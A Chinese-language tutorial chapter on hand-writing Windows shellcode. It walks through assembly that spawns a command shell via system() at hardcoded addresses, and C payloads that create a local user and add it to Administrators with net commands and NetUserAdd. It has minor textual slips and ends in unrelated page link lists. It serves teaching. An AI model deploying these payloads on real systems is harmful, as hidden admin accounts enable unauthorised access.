二、Windows 下 ShellCode 编写初步
第二章、Windows 下 ShellCode 编写初步
(一)shellcode
定义:最先的 Shell 指的是人机交互界面,ShellCode 是一组能完成我们想要的功能的机器代码,通常以十六进制数组的形式存在
NOTES:计算机每次都只是执行当前 EIP 指向的指令(单 CPU)。在当前指令执行后,EIP 会自动加 1,从而指向下一条指令。如果有 JMP CALL RET 一类的指令,EIP 就会被强行改变成指定的地址,从而完成流程的跳转
(二)打开控制台窗口的 C 程序
升级版:
程序解释:
(1)typedef void (*MYPROC)(LPTSTR)
定义了一个函数指针,其指向函数的参数是字符串,返回值是空。该指针的作用是用于指向 system 函数,在后面调用它,就相当于调用 system 函数
(2)LibHandle = LoadLibrary(“msvcrt.dll”)
加载 msvcrt.dll 这个动态链接库,动态链接库的句柄赋给 LibHandle
(3)ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system");
获得动态链接库的句柄后,我们再使用“GetProcAddress(LibHandle, system)”获得 system 的真实地址。之后再使用这个真实地址来调用 system 函数。执行该语句后,ProcAdd 为指向 system 函数的指针(而不是地址(*)),即ProcAdd 存的是 system 函数的地址
(4)(ProcAdd) ("command.com");
因为此时的 ProcAdd 为指向 system 函数的指针,所以“(ProcAdd) ("command.com")”就是调用“system("command.com")”,完成我们想要的功能
(三)查看函数的地址
看 system 函数的地址:在 VC 下按 F10 进入调试状态,然后在 Debug 工具栏中,点最后一个按钮‘Disassemble’和第四个按钮‘Registers’,这样就出现了源程序的汇编代码和寄存器状态窗口
按 F10,程序就会单步执行
EAX的值即为msvcrt.dll 的地址(‘LibHandle = LoadLibrary("msvcrt.dll")’那句下的call dword ptr [__imp__LoadLibraryA@4(0042413c)]就是执行‘LoadLibrary("msvcrt.dll")’,返回值就是 msvcrt.dll 的地址;而函数的返回值,通常都是放在 EAX 中)
(四)Windows 下的函数调用原理
1.Windows 下,函数的调用需要先把函数所在的动态链接库 Load 进去,这点大家都清楚。而在执行的时候用堆栈传递参数,然后直接 CALL 该函数的地址
2.NOTES:Linux 下,函数的执行是使用系统中断调用。系统把函数的系统调用码给 EAX(如 execve 是 0xb),函数带的参数给其他寄存器,最后执行 int$0x80 中断指令,完成函数的执行
3.例:在 Windows 下执行函数 Func(argv1, argv2, argv3) ,先把参数从右至左压入堆栈,这里就是依次把 argv3、argv2、argv1 压入堆栈里,然后 Call Func 函数的地址,这里的 Call Func
函数地址,其实等于两步,一是保存当前 EIP,二是跳到 Func 函数的地址执行,即 Push EIP + Jmp Func
(五)汇编和机器码——真正 ShellCode 的生成
1.写system(“command.exe”) 的汇编代码
不知道 command.exe 字符串的地址,故而自己构造,把‘command.exe’一个字符一个字符的压入堆栈
ESP 正好是 command.exe 字符串的地址,然后PUSH ESP
NOTE:1.计算机入栈是压四个字节,那我们就每次 PUSH 四个字节;或者我们就一个字节一个字
节地把值赋入堆栈,不用 PUSH,而直接用赋值,如下:
mov esp,ebp ;
mov ebp,esp ; 把当前 esp 赋给 ebp作为栈底
xor edi,edi ;
push edi ;压入 0,esp-4,; 作用是构造字符串的结尾\0 字符。
sub esp,08h ;加上上面,一共有 12 个字节,;用来放"command.com"。
mov byte ptr [ebp-0ch],63h ; c
mov byte ptr [ebp-0bh],6fh ; o
mov byte ptr [ebp-0ah],6dh ; m
mov byte ptr [ebp-09h],6Dh ; m
mov byte ptr [ebp-08h],61h ; a
mov byte ptr [ebp-07h],6eh ; n
mov byte ptr [ebp-06h],64h ; d
mov byte ptr [ebp-05h],2Eh ; .
mov byte ptr [ebp-04h],63h ; c
mov byte ptr [ebp-03h],6fh ; o
mov byte ptr [ebp-02h],6dh ; m 一个一个生成串"command.com".
lea eax,[ebp-0ch] ;
push eax ; command.com 串地址作为参数入栈
mov eax, 0x7801AFC3 ;
call eax ; call system 函数的地址
(1)‘push edi’和‘sub esp,08h’是把 esp 减去 12 字节,这 12 个字节空间就用来放(2)command.com’;(2)‘mov byte ptr [ebp-0ch],63h’等,是我们把 command.com 一个字节一个字节的放进留出的空间中;
(3)‘lea eax,[ebp-0ch]’来获得构造的 command.com 字符串的地址;
(4)‘push eax’把地址压入堆栈,call system 函数的地址就完成了
(六)ShellCode 通用性的初步分析
由于系统版本不一,造成 LoadLibrary 和 system 函数的地址不同
NOTES:自动查找函数地址的程序 GetAddr.cpp:
#include <windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("msvcrt");
printf("msvcrt LibHandle = //x%x\n", LibHandle);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"system");
printf("system = //x%x\n", ProcAdd);
return 0;
}
NOTES:
kernel32.dll中的LoadLibrary 函 数
user32.dll 中的 MessageBox 函数
1.弹出 Windows 对话框 ShellCode 的编写
#include "windows.h"
int main(int argc, char* argv[])
{
LoadLibrary("user32.dll");
MessageBox(0, "ww0830","ww", 1);
return 0;
}
2.添加用户 ShellCode 的编写
1.(1)添加用户:net user name /add
(2)帐户添加到管理员: DOS 命令行下执行 net localgroup administrators name /add
#include <windows.h>
int main()
{
LoadLibrary("msvcrt.dll");
system("net user c /add");
system("net localgroup administrators c /add");
return 0;
}
2.添加用户的另一种方法
用的是 Netapi32.dll 里的 NetUserAdd 和 NetLocalGroupAddMembers 函数
NOTES:
(1)ASCII 编码是用一个字节来表示字符,这样只有 256 种组合
Unicode 是用两个字节(16 位)来表示字符,这样共有 65536 种组合
#ifndef UNICODE
#define UNICODE
#endif
#include <stdio.h>
#include <windows.h>
#include <lm.h>
#pragma comment(lib,"netapi32")
int wmain()
{
USER_INFO_1 ui;
DWORD dwError = 0;
ui.usri1_name = L"ww0830";
ui.usri1_password = L"ww0830";
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;
//添加名为 ww0830 的用户,密码也为 ww0830
if(NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success)
{
//添加成功
printf("Add user success.\n");
}
else
{
//添加失败
printf("Add user Error!\n");
return 1;
}
wchar_t szAccountName[100]={0};
wcscpy(szAccountName,L"ww0830");
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname=szAccountName;
//把 ww0830 添加到 Administrators 组
if(NetLocalGroupAddMembers(NULL,L"Administrators",3,(LPBYTE)&account,1)==
NERR_Success )
{
//添加成功
printf("Add to Administrators success.\n");
return 0;
}
else
{
//添加失败
printf("Add to Administrators Fail!\n");
return 1;
}
}
NOTES:
1.查找到 LoadLibraryA 函数的地址是 0x77E6A254,system 函数的地址是 0x78019B4A,都是正确的,但为什么我把 ShellCode 对应的地方改成“\x77\xE6\xA2\x54”和“\x78\x01\x9B\x4A”后,不能弹出 DOS 窗口呢?
注意别把字节的顺序写反了,应该是“\x54\xA2\xE6\x77”和“\x4A\x9B\x01\x78”
2.在 Windows 系统下,多字节数存放的规则是:数的高位放在内存高址,数的低位放在内存低址。对0x77E6A25478 来说,0x77 是最高位,所以要放在内存的高地址,而在字符串中,是按照内存从低到高排列的,所以要把 0x77 放在字符串中数的最后。
3.LoadLibraryA 和 system 函数的地址在 Win2000 SP0 下,分别是 0x77E78023 和 0x7801AAAD;在SP2 下分别是 0x77E6A254 和 0x78019B4A;在 SP3 下分别是 0x77E69F64 和 0x7801AFC3;在 XP SP0 下分别是 0x77E605D8 和 0x77BF8044
4.为何LoadLibrary 函数在系统里面有 LoadLibraryA 和 LoadLibraryW 两种实现?而system只有一个呢?
在 Windows 下,存在几种编程接口。
(1) Windows API 函数。这类函数是和 Windows 系统相关的,使用的也是 Windows 下才特有的数据类型(比如 CHAR)。API 函数就存在 A 和 W 这两种实现,而 LoadLibrary 是 API 函数。
(2)C运行链接库,是按照C语言的标准来实现的,所以只有小写字母,而且只有一种实现,比如system
函数( C 语言标准中,规定函数名称都是小写)
5.Windows 应用程序的标识符通常用“大小写”混排的方式,如AddChild; Windows 下建议使用“匈牙利”命名规则,类名和函数名用大写字母开头的单词组合而成,变量和参数用小写字母开头的单词组合而成,常量全用大写,全局变量加前缀“g”,类的数据成员加前缀“m_”
Unix应用程序的标识符用“小写加下划线”的方式,如add_child
6.ShellCode 里面不能有 0x00,因为 0x00 是字符串的结束符
二、Windows 下 ShellCode 编写初步的更多相关文章
- (二)windows下安装PHPCMS V9
一.准备工作 搭建环境 :参考:Windows下搭建PHP开发环境及相关注意事项 PHPCMS V9 :下载适合自己 PHPCMS V9 版本到本地或服务器,下载地址:http://www.phpcm ...
- [百度空间] [原]跨平台编程注意事项(二): windows下 x86到x64的移植
之前转的: 将程序移植到64位Windows 还有自己乱写的一篇: 跨平台编程注意事项(一) 之前对于x64平台的移植都是纸上谈兵,算是前期准备工作, 但起码在写代码时,已经非常注意了.所以现在移植起 ...
- QT开发(二) windows下简单部署
如果使用vs编译器 需要c runtime 例如(msvc110 )这种 还需要若干qt的dll 基本在qt的bin目录 如果使用了QWindow这种对象还需要引用qt目录 plugins下 的内容 ...
- windows下尝试编写node模块
1,首先参考http://www.cnblogs.com/yupeng/p/3469444.html写了一个模块 2,按照指引运行 F:\Program Files\nodejs\mymodule&g ...
- Egret入门(二)--windows下环境搭建
准备材料 安装Node.js TypeScript编辑器 HTTP服务器(可选) Chorme(可选) Egret 安装Node.js 打开www.nodejs.org 下载安装(全部next,全默认 ...
- 原创 C++应用程序在Windows下的编译、链接:第三部分 静态链接(二)
3.5.2动态链接库的创建 3.5.2.1动态链接库的创建流程 动态链接库的创建流程如下图所示: 在系统设计阶段,主要的设计内容包括:类结构的设计以及功能类之间的关系,动态链接库的接口.在动态链接库中 ...
- Windows 下的 Makefile 编写
Windows 下的 Makefile 编写(一)Makefile的基本规则 作者:cntrump Makefile对于很多人来说是陌生的,特别是习惯于使用 IDE 的人来说,似乎没有听说过 Make ...
- windows下的java项目打jar分别编写在windows与linux下运行的脚本( 本人亲测可用!)
前言: 最近公司做了一个工具,要将这个工具打包成一个可运行的程序,编写start.bat和start.sh在windows和linux下都可以运行. 在网上找了很多资料,最后终于找到一个可靠的资料,记 ...
- 二、Spark在Windows下的环境搭建
由于Spark是用Scala来写的,所以Spark对Scala肯定是原生态支持的,因此这里以Scala为主来介绍Spark环境的搭建,主要包括四个步骤,分别是:JDK的安装,Scala的安装,Spar ...
随机推荐
- input radio单选框绑定change事件
html页面: <input type="radio" name="sex" value="female">female < ...
- linux-centos系统下安装python3.5.4步骤
查看当前python版本:python -V 查看Python可执行文件位置:which python [root@localhost bin]# which python/usr/bin/pytho ...
- python之路-----python操作 mysql
========================pymysql============================ 一.pymysql 基础 安装命令:pip3 install pymysql - ...
- 三种Webpack打包方式
准备工作mkdir webpack_demo && cd webpack_demo #新建文件夹npm init #创建package.json文件npm install --save ...
- MFC如何在树形图边上添加动态小地图
MFC如何在树形图边上添加动态小地图 https://www.jianshu.com/p/7b1d828bf5db (简书无法识别缩进的...早知道先在博客园发了) (转载请注明出处) 作者:梦镜谷雨 ...
- node-express-1
安装: express v4.0以后的安装: npm install express-generator -g 建立项目 express -t ejs blog 安装依赖 cd blog && ...
- 凯撒密码移位python
#!/usr/bin/python'''凯撒密码'''a="gmbhqwertghjkcvbzn"s=[""]*len(a)for j in range(26) ...
- (一)java异常处理的几个问题
1.java中两种异常? 答:java中存在两种异常:受检查(checked)异常和不受检查(unchecked)异常.不受检查的异常不需要在方法或者构造函数上声明,就算是方法或是构造函数会发生这样的 ...
- Docker run 命令
docker run -d -p 8084:80 --name weather --restart always --link fme-postgis 192.168.1.220:5000/weath ...
- ng-repeat 中的track by
<div style="font-size:15px"ng-repeat="item in groups.items track by $index"&g ...